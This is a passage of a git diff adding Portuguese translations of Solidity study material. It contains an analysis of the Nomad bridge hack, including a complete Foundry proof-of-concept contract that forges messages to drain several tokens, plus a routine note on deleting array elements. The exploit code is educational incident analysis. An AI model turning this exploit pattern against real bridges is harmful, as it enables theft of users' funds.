_messageHash = _m.keccak(); + require(acceptableRoot(messages[_messageHash]), "!proven"); + // check re-entrancy guard + require(entered == 1, "!reentrant"); + entered = 0; + // update message status as processed + messages[_messageHash] = LEGACY_STATUS_PROCESSED; + // call handle function + IMessageRecipient(_m.recipientAddress()).handle( + _m.origin(), + _m.nonce(), + _m.sender(), + _m.body().clone() + ); + // emit process results + emit Process(_messageHash, true, ""); + // reset re-entrancy guard + entered = 1; + // return true + return true; +} +``` + + +A função `process` no contrato Replica é responsável por enviar a mensagem para o destinatário final. A função só será executada com sucesso se a mensagem de entrada for verificada, o que significa que a mensagem foi adicionada à árvore de Merkle antes de chamar o `process`. A verificação (linha 36) é feita consultando o valor de hash da mensagem de entrada no mapeamento de raízes verificadas (`acceptableRoot`). + +*Trecho de código do contrato Replica.sol `initialize` [aqui](https://gist.github.com/gists-immunefi/4792c4bb10d3f73648b4b0f86e564ac9/raw/1f70cc5490bf2383d42eeec3fa06a74d7be1a66c/Nomad%20Hack%20Analysis%202.sol)* +```solidity= +function initialize( + uint32 _remoteDomain, + address _updater, + bytes32 _committedRoot, + uint256 _optimisticSeconds +) public initializer { + __NomadBase_initialize(_updater); + // set storage variables + entered = 1; + remoteDomain = _remoteDomain; + committedRoot = _committedRoot; + // pre-approve the committed root. + confirmAt[_committedRoot] = 1; + _setOptimisticTimeout(_optimisticSeconds); +} +``` + + + +Ao atualizar a implementação do contrato de proxy, a implementação do contrato é inicializada uma vez com uma função de inicialização que define alguns valores de estado iniciais. Podemos ver que em 21 de junho, uma nova implementação do contrato Nomad foi implantada e, em seguida, a função de inicialização foi chamada em uma [transação](https://etherscan.io/tx/0x53fd92771d2084a9bf39a6477015ef53b7f116c79d98a21be723d06d79024cad) posterior para inicializar o contrato de implementação. Por fim, houve uma atualização de rotina no contrato que armazena o endereço da implementação do contrato, conforme mostrado nesta [transação](https://etherscan.io/tx/0x7bccd64f4c4d5f6f545c2edf904857e6ddb460532fc0ac7eb5ac175cd21e56b1). Durante a chamada da função de inicialização, o valor 0x00 foi definido como uma raiz pré-aprovada e armazenado no mapeamento `confirmAt`, que foi o ponto de partida para este evento. + +Voltando à função `process`, podemos ver que o processo de verificação depende da verificação do valor de hash da mensagem no mapeamento de mensagens e marca a mensagem como processada, para que o invasor não possa reutilizar a mesma mensagem. + +Vale ressaltar que, no armazenamento de contratos inteligentes da EVM, todas as posições (slots) têm um valor inicial de 0, o que significa que, ao ler uma posição de armazenamento não utilizada, a EVM sempre retornará um valor zero (0x00) em vez de um erro. Da mesma forma, para mapeamentos, quando uma chave de mapeamento inexistente é consultada, um valor zero é retornado, que é passado para a função `acceptableRoot`. Devido à atualização em 21 de abril, onde 0x00 foi definido como uma raiz confiável, essa função retornará verdadeiro. Em seguida, a mensagem é marcada como processada, mas qualquer pessoa pode gerar uma nova mensagem simplesmente alterando o conteúdo da mensagem e realizar ataques de imitação. + +As mensagens de entrada geralmente são codificadas com vários tipos de parâmetros. Para mensagens que desbloqueiam fundos da ponte, um dos parâmetros é o endereço do destinatário. Portanto, após o primeiro ataque bem-sucedido realizado por um [atacante](https://dashboard.tenderly.co/tx/mainnet/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), qualquer pessoa que entenda a decodificação da mensagem pode simplesmente alterar o endereço do destinatário e realizar ataques de imitação adicionais, pois são usadas mensagens diferentes e, portanto, os novos ataques não são afetados pelos ataques anteriores, permitindo que os novos endereços obtenham lucros. + +## Reprodução do Ataque (Prova de Conceito) +Agora que entendemos por que a Nomad foi atacada, é hora de tentar reproduzir o ataque. Vamos criar mensagens de ataque para diferentes tokens com base nos saldos correspondentes na ponte e usá-las como entrada para a função `process` no contrato Replica para roubar os ativos. + +Aqui, usaremos um serviço RPC com recursos de arquivamento, como o [serviço gratuito da Ankr](https://www.ankr.com/rpc/eth/), para copiar o estado no bloco 15259100 (um bloco antes do ataque). + +Nosso ataque reproduzirá os seguintes passos: +1. Escolher um token ERC-20 específico e verificar o saldo do contrato da ponte Nomad ERC-20. +2. Gerar uma mensagem com os parâmetros corretos para desbloquear os fundos, usando o endereço do atacante como destinatário e o saldo total do token como a quantidade de fundos a serem desbloqueados. +3. Chamar a função `process` para obter o token. +4. Repetir os passos acima para diferentes tokens e roubar os fundos. + +A seguir, usaremos o Foundry para concluir a reprodução do ataque. + +## Ataque (O Ataque) + +*[Contrato de ataque inicial](https://gist.githubusercontent.com/gists-immunefi/4305df38623ddcaa11812a9c186c73ac/raw/e960b16512343fb3d6f3d8821486e7fb1452952c/Nomad%20Hack%20Analysis%203.sol)* +```solidity +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = IERC20(token).balanceOf(ERC20_BRIDGE); + + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory) {} +} +``` + +A função de entrada do contrato de ataque é `attack`, que contém um loop simples para iterar sobre os saldos de diferentes tokens no endereço da ponte ERC20 (ERC20_BRIDGE). O ERC20_BRIDGE se refere ao contrato de ponte ERC20 da Nomad, que é o local onde os ativos bloqueados são armazenados. + +Em seguida, com base no saldo, criamos uma mensagem para o ataque e a passamos como entrada para a função `process` do contrato Replica. Essa função enviará nossa mensagem falsa para o contrato de backend correspondente, desencadeando a solicitação de desbloqueio e transferência de ativos da ponte, colocando a ponte em nossas mãos. + +*Gerando uma mensagem válida* +```solidity= +contract Attacker { + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + + // Nomad domain IDs + uint32 constant ETHEREUM = 0x657468; // "eth" + uint32 constant MOONBEAM = 0x6265616d; // "beam" + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` + +No processo de geração de mensagens, é importante codificar corretamente os diferentes parâmetros para garantir que o protocolo Nomad possa decodificá-los corretamente. Também precisamos especificar o caminho de roteamento para a mensagem - o contrato de roteamento da ponte e o endereço da ponte ERC20. Além disso, precisamos usar 0x3 como tipo para representar a transferência de token. + +Por fim, precisamos determinar os parâmetros que nos trarão lucro - o endereço do token, a quantidade a ser transferida e o destinatário. Como mencionado anteriormente, isso criará informações completamente novas para o contrato Replica. + +Incrivelmente, mesmo com algumas informações de log relacionadas ao Foundry, o código completo da PoC tem apenas 87 linhas. Executando o código de reprodução acima, podemos obter os seguintes fundos: + +- 1.028 WBTC +- 22.876 WETH +- 87.459.362 USDC +- 8.625.217 USDT +- 4.533.633 DAI +- 119.088 FXS +- 113.403.733 CQT + +## Conclusão + +atento aos valores padrão dos slots de armazenamento, que são inicializados como zero. Especialmente ao lidar com mapeamentos, é importante definir testes unitários para evitar possíveis perigos relacionados a valores comuns que podem levar a vulnerabilidades. + +Vale ressaltar que algumas contas envolvidas em ataques de imitação devolveram os fundos ao projeto Nomad, e o projeto está planejando [relançar](https://medium.com/nomad-xyz-blog/nomad-bridge-relaunch-guide-3a4ef6624f90) e devolver os ativos aos usuários afetados. Se você possui ativos perdidos no ataque à Nomad, por favor, devolva-os para a [carteira de recuperação da Nomad](https://etherscan.io/address/0x94a84433101a10aeda762968f6995c574d1bf154). + +Como mencionado anteriormente, este ataque foi muito mais simples do que parece e é possível roubar todos os fundos em uma única transação. Abaixo está o código completo da PoC (incluindo alguns logs do Foundry): + +*[Código completo da PoC](https://gist.githubusercontent.com/gists-immunefi/2bdffe6f9683c9b3ab810e1fb7fe4aff/raw/df16e8103c6c3b38d412e0320cda37da9a5a9e7c/Nomad%20Hack%20Analysis%205.sol)* +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +import "@openzeppelin/token/ERC20/ERC20.sol"; +import "forge-std/console.sol"; + +interface IReplica { + function process(bytes memory _message) external returns (bool _success); +} + +contract Attacker { + address constant REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA; + address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; + address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; + + // Nomad domain IDs + uint32 constant ETHEREUM = 0x657468; // "eth" + uint32 constant MOONBEAM = 0x6265616d; // "beam" + + // tokens + address [] public tokens = [ + 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC + 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH + 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC + 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT + 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI + 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX + 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT + ]; + + function attack() external { + for (uint i = 0; i < tokens.length; i++) { + address token = tokens[i]; + uint256 amount_bridge = ERC20(token).balanceOf(ERC20_BRIDGE); + + console.log( + "[*] Stealing", + amount_bridge / 10**ERC20(token).decimals(), + ERC20(token).symbol() + ); + console.log( + " Attacker balance before:", + ERC20(token).balanceOf(msg.sender) + ); + + // Generate the payload with all of the tokens stored on the bridge + bytes memory payload = genPayload(msg.sender, token, amount_bridge); + + bool success = IReplica(REPLICA).process(payload); + require(success, "Failed to process the payload"); + + console.log( + " Attacker balance after: ", + IERC20(token).balanceOf(msg.sender) / 10**ERC20(token).decimals() + ); + } + } + + function genPayload( + address recipient, + address token, + uint256 amount + ) internal pure returns (bytes memory payload) { + payload = abi.encodePacked( + MOONBEAM, // Home chain domain + uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge + uint32(0), // Dst nonce + ETHEREUM, // Dst chain domain + uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) + ETHEREUM, // Token domain + uint256(uint160(token)), // token id (e.g. WBTC) + uint8(0x3), // Type - transfer + uint256(uint160(recipient)), // Recipient of the transfer + uint256(amount), // Amount + uint256(0) // Optional: Token details hash + // keccak256( + // abi.encodePacked( + // bytes(tokenName).length, + // tokenName, + // bytes(tokenSymbol).length, + // tokenSymbol, + // tokenDecimals + // ) + // ) + ); + } +} +``` + diff --git a/Languages/pt-br/Topics/StudyNotes/Notes_06_Array_magiconch/readme.md b/Languages/pt-br/Topics/StudyNotes/Notes_06_Array_magiconch/readme.md new file mode 100644 index 000000000..24c8551a4 --- /dev/null +++ b/Languages/pt-br/Topics/StudyNotes/Notes_06_Array_magiconch/readme.md @@ -0,0 +1,103 @@ +# Como remover um elemento específico de um array em Solidity + +Em comparação com outras linguagens, os arrays em Solidity têm funcionalidades limitadas, com apenas as funções push/pop disponíveis. No entanto, em desenvolvimento real, podemos encontrar situações em que precisamos remover um elemento específico. Como podemos fazer isso? + +## Solução Simples + +Em Solidity, existe uma palavra-chave chamada `delete`. Podemos usar essa palavra-chave para remover um elemento específico? + +```solidity +pragma solidity ^0.8.9; + +contract itemRemoval { + uint[] public arrs = [1,2,3,4,5]; + + function removeItem(uint i) public { + delete arrs[i]; + } + + function getLength() public view returns(uint) { + return arrs.length; + } +} +``` + +No código acima, tentamos remover o primeiro elemento executando `removeItem(0)`. O array `arrs` se tornará `[0,2,3,4,5]`. Em seguida, executamos `getLength()` e obtemos o resultado `5`. O que está acontecendo? + +> ```markdown +> ## delete +> `a` assigns the initial value for the type to `a`. I.e. for integers it is equivalent to `a = 0` +> ``` + +Ao consultar a documentação, descobrimos que, em Solidity, a palavra-chave `delete` atribui o valor inicial do tipo à variável. Ou seja, para inteiros, é equivalente a `a = 0`. Portanto, a remoção usando `delete` não remove o elemento do array, mas o redefine para o valor padrão. Isso pode levar a um aumento contínuo das taxas de gas se o código continuar sendo executado e exceder o limite máximo. + +Se você acha que isso não é um problema, vamos expandir o problema: + +```solidity +pragma solidity ^0.8.9; + +contract itemRemoval { + uint[] public arrs = [0,1,2,3,4]; + + function deleteZeroItem() public { + for (uint i = 0; i < arrs.length; i++) { + if (arrs[i] == 0) { + delete arrs[i]; + } + } + } + + function getLength() public view returns(uint) { + return arrs.length; + } +} +``` + +Neste exemplo, tentamos criar uma função que remove elementos com valor zero. No entanto, ao executar o código acima, você verá que não é possível remover esse elemento. + +Podemos ver que, embora a remoção usando `delete` seja simples e economize gas, ela traz riscos imprevisíveis. + +## Trocar com o último elemento + +```solidity +pragma solidity ^0.8.9; + +contract itemRemoval { + uint[] public arrs = [1,2,3,4,5]; + + function removeItem(uint i) public { + arrs[i] = arrs[arrs.length - 1]; + arrs.pop(); + } + + function getLength() public view returns(uint) { + return arrs.length; + } +} +``` + +Ao trocar o elemento alvo com o último elemento do array e, em seguida, remover o último elemento, o custo de gas será maior em comparação com a solução anterior. No entanto, dessa forma, podemos controlar o tamanho do array e evitar que ele cresça indefinidamente com o tempo. + +No entanto, essa solução também não é perfeita, pois a remoção de um elemento dessa forma alterará a ordem dos elementos no array. Se for necessário manter a ordem dos elementos, devemos usar a seguinte abordagem: + +```solidity +pragma solidity ^0.8.9; + +contract itemRemoval { + uint[] public arrs = [1,2,3,4,5]; + + function removeItem(uint i) public { + for (; i < arrs.length - 1; i++) { + arrs[i] = arrs[i + 1]; + } + arrs.pop(); + } + + function getLength() public view returns(uint) { + return arrs.length; + } +} +``` + +No entanto, essa abordagem tem um alto custo de gas, pois a alteração de um estado tem um custo de gas muito maior do que uma operação. Portanto, a menos que seja absolutamente necessário, não é recomendado usar essa abordagem. + diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/1.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/1.png" new file mode 100644 index 000000000..5f1b07843 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/1.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/10.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/10.png" new file mode 100644 index 000000000..5f0eebb3d Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/10.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/11.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/11.png" new file mode 100644 index 000000000..8d2253b3c Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/11.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/12.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/12.png" new file mode 100644 index 000000000..a11065574 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/12.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/13.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/13.png" new file mode 100644 index 000000000..286231d70 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/13.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/14.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/14.png" new file mode 100644 index 000000000..d95a7c413 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/14.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/15.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/15.png" new file mode 100644 index 000000000..e26644980 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/15.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/16.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/16.png" new file mode 100644 index 000000000..1348e9225 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/16.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/17.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/17.png" new file mode 100644 index 000000000..0acc97f4a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/17.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/18.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/18.png" new file mode 100644 index 000000000..d483dd16e Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/18.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/19.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/19.png" new file mode 100644 index 000000000..e7748c58f Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/19.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/2.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/2.png" new file mode 100644 index 000000000..ca185b82c Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/2.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/20.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/20.png" new file mode 100644 index 000000000..b1b51abdc Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/20.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/21.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/21.png" new file mode 100644 index 000000000..0687a1aee Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/21.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/22.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/22.png" new file mode 100644 index 000000000..913df7600 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/22.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/23.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/23.png" new file mode 100644 index 000000000..3962c7b1a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/23.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/24.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/24.png" new file mode 100644 index 000000000..56681a12f Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/24.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/25.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/25.png" new file mode 100644 index 000000000..9a4b92977 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/25.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/26.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/26.png" new file mode 100644 index 000000000..edbe5b13a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/26.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/27.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/27.png" new file mode 100644 index 000000000..dac8d9385 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/27.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/28.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/28.png" new file mode 100644 index 000000000..2aa214444 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/28.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/29.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/29.png" new file mode 100644 index 000000000..be3733131 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/29.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/3.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/3.png" new file mode 100644 index 000000000..44cddd2fd Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/3.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/30.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/30.png" new file mode 100644 index 000000000..ef81381f3 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/30.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/31.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/31.png" new file mode 100644 index 000000000..113035a68 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/31.png" differ diff --git 